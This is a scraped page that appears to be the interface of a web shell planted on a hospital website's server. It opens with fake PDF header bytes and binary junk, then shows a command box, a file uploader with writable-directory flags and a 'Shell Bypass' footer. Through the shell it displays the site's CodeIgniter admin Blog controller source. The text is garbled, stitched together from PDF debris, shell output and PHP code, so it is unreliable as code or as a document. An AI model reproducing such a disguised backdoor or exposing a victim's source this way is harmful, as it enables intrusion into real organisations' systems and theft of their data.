%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital_old.org/hbackup/application/controllers/admin/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital_old.org/hbackup/application/controllers/admin/Blog.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');

class Blog extends CI_Controller {

	/**
	 * Index Page for this controller.
	 *
	 * Maps to the following URL
	 * 		http://example.com/index.php/welcome
	 *	- or -
	 * 		http://example.com/index.php/welcome/index
	 *	- or -
	 * Since this controller is set as the default controller in
	 * config/routes.php, it's displayed at http://example.com/
	 *
	 * So any other public methods not prefixed with an underscore will
	 * map to /index.php/welcome/<method_name>
	 * @see https://codeigniter.com/user_guide/general/urls.html
	 */
	function __construct() {
        parent::__construct();
        
        if((!isset($_SESSION['is_logged']))||($_SESSION['is_logged']==false))
        {
        	$_SESSION['redirect'] = base_url()."admin/Blog/view_blogs";
        	
        	redirect(base_url().'admin/login');
        }
	//	redirect_admin_not_logged();
        $this->load->model('blog_model', 'blog');

    }
	
	public function index()
	{
		$this->view_articles();
	//	$this->load->view('admin/ViewDoctors');
	}
	
	public function do_upload($field_name, $upload_path= '', $file_name= '')
	{
		if($upload_path!=''){
			$config['upload_path'] = $upload_path;
		}
		else{
			$config['upload_path'] = './uploads';
		}
		$config['allowed_types'] = 'jpeg|jpg|png|JPEG|JPG|PNG';
		$config['max_size']     = '1024';
		$config['max_width'] = '1024';
		$config['max_height'] = '768';
		if($file_name!=''){
			$config['file_name'] = $file_name;
		}
		
		$this->upload->initialize($config);
		
		if ( ! $this->upload->do_upload($field_name))
		{
			$error = array('error' => $this->upload->display_errors());

	//		$this->load->view('upload_form', $error);
			
			return 0;
		}
		else
		{
			$data = array('upload_data' => $this->upload->data());

			return $this->upload->data('file_name');	
			
		}

	}
	
	public function add_article($id=0)
	{
		
		$data = array();
		$data['data_string'] = '';
		$BlogID = $id;
		
		if($id){
		
			$records = $this->blog->get_article($id);
			
			if(!$records){
				
				show_404();
				
			}
			else{
				
				$data = array(
					'BlogID' => $records['BlogID'],
					'BlogTitle' => $records['BlogTitle'],
					'BlogContent' => $records['BlogContent'],
					'BlogThumbnail' => $records['BlogThumbnail'],
					'BlogPoster' => $records['BlogPoster'],
					'BlogBanner' => $records['BlogBanner'],										
					'BlogURL' => $records['BlogURL'],
					'BlogExcerpt' => $records['BlogExcerpt'], 					
					'BlogPriorityOrder' => $records['BlogPriorityOrder'],
					'Status' => $records['Status']
				); 
				
			}

		}
		
		$post=$this->input->post();
		
		if($post){	
			
			$this->load->helper('security');
			
			$this->form_validation->set_rules('BlogTitle', 'Blog Title', 'required|xss_clean');
			$this->form_validation->set_rules('BlogContent', 'Blog Content', 'trim|required|xss_clean');
			$this->form_validation->set_rules('BlogExcerpt', 'Blog Excerpt', 'trim|xss_clean');
			$this->form_validation->set_rules('BlogURL', 'Blog Slug', 'required|alpha_dash|xss_clean');

			
			if ($this->form_validation->run() == FALSE)
            {
            		echo '<script>console.log("Error in validating Blog Article")</script>'; 
            	//	$data=$post;
  		            $this->load->view('admin/AddBlogArticle');
            }
			else
			{
				
				$blog_thumbnail ='';
				$blog_poster='';				
				$blog_banner = '';
				if($_FILES['blog_thumbnail']['name']){
					$blog_thumbnail = $this->do_upload('blog_thumbnail', './uploads/blog', 'blog_thumb_'.$post['BlogURL']);
					echo '<script>console.log("blog_thumbnail")</script>'; 
					$data['error'] = array('error' => $this->upload->display_errors());	
				}	
				if($_FILES['blog_poster']['name']){
					$blog_poster = $this->do_upload('blog_poster', './uploads/blog', 'blog_poster_'.$post['BlogURL']);
					echo '<script>console.log("blog_poster")</script>'; 
					$data['error'] = array('error' => $this->upload->display_errors());	
				}			
				if($_FILES['blog_banner']['name']){
					$blog_banner = $this->do_upload('blog_banner', './uploads/blog', 'blog_bn_'.$post['BlogURL']);
					echo '<script>console.log("blog_banner")</script>'; 
					$data['error'] = array('error' => $this->upload->display_errors());	
				}
				
				if(($_FILES['blog_thumbnail']['name'])&&(!$blog_thumbnail)){
					echo '<script>console.log("error uploading blog thumbnail")</script>';
					$this->load->view('admin/AddBlogArticle');
				}	
				else if(($_FILES['blog_poster']['name'])&&(!$blog_poster)){
					echo '<script>console.log("error uploading blog icon")</script>';
					$this->load->view('admin/AddBlogArticle');
				}			
				else if(($_FILES['blog_banner']['name'])&&(!$blog_banner)){
					echo '<script>console.log("error uploading blog banner")</script>';
					$this->load->view('admin/AddBlogArticle');
				}
				else{
					if(isset($post['BlogID'])){
						$BlogID = $post['BlogID'];
					}
				
					echo '<script>console.log("uploading Blog")</script>';
					
					$insert_data = array(						
						'BlogTitle' =>  $post['BlogTitle'],
						'BlogContent' =>  $post['BlogContent'],														
						'BlogURL' =>  $post['BlogURL'], 		
						'BlogExcerpt' => $post['BlogExcerpt'], 				
						'BlogPriorityOrder' =>  $post['BlogPriorityOrder'],
						'Status' =>  $post['Status']
					);
					
					if($blog_thumbnail!=''){
						$insert_data['BlogThumbnail'] = $blog_thumbnail;
					}
					
					if($blog_poster!=''){
						$insert_data['BlogPoster'] = $blog_poster;
					}
					
					if($blog_banner!=''){
						$insert_data['BlogBanner'] = $blog_banner;
					}
				
					$success = '';	
					echo '<script>console.log("'.$BlogID.'")</script>';
					if($BlogID){
						$success = $this->blog->update_article($insert_data,$BlogID);
					}
					else{
						if((!($this->blog->article_title_exists($post['BlogTitle'])))||(!($this->blog->article_slug_exists($post['BlogURL'])))){
							$success = $this->blog->insert_article($insert_data);
						}
						else{
							$data['msg'] = 'Blog Article could not be created. Duplicate Title or Slug';
						}
					}	
				
					if($success){
						echo '<script>console.log("success:  '.$success.'")</script>';
						redirect(base_url()."admin/Blog/view_articles");

					};
				}
			}
       			
		}

		
		$this->load->view('admin/AddBlogArticle',$data);
	}
	
	public function view_article($id=0)
	{
		
		$data = array();
		$data['data_string'] = '';
		
		if($id){
		
			$records = $this->blog->get_blog_article($id);
			
			if(!$records){
				
				show_404();
				
			}
			else{

				$data = array(
					'BlogID' => $records['BlogID'],
					'BlogTitle' => $records['BlogTitle'],
					'BlogContent' => $records['BlogContent'],
					'BlogThumbnail' => $records['BlogThumbnail'],
					'BlogPoster' => $records['BlogPoster'],
					'BlogBanner' => $records['BlogBanner'],										
					'BlogURL' => $records['BlogURL'], 					
					'BlogPriorityOrder' => $records['BlogPriorityOrder'],
					'Status' => $records['Status']
				); 
				
			}

		}
		
		
		
		$this->load->view('admin/ViewBlogArticles',$data);
	}
	
	public function update_article($id){
	
		$this->add_article($id);
	}
	
	
	public function view_articles()
	{
		
		$data = array();
		$data['records'] = $this->blog->get_all_articles();
			
		if(!$data){
			show_404();
		}
				
		$this->load->view('admin/ViewBlogArticles',$data);
	}
	
	
	
	public function remove_article($id)
	{
		
		$data = array();
		
		
		if($this->blog->delete_article($id)){
			$data['msg'] = 'Blog Article deleted succesfully';
		}
		else{
			$data['msg'] = 'Blog Article could not be deleted';
		}		
		
		$data['records'] = $this->blog->get_all_articles();
			
		if(!$data){
			show_404();
		}
				
		$this->load->view('admin/ViewBlogArticles',$data);
	}
	
	
}

Kontol Shell Bypass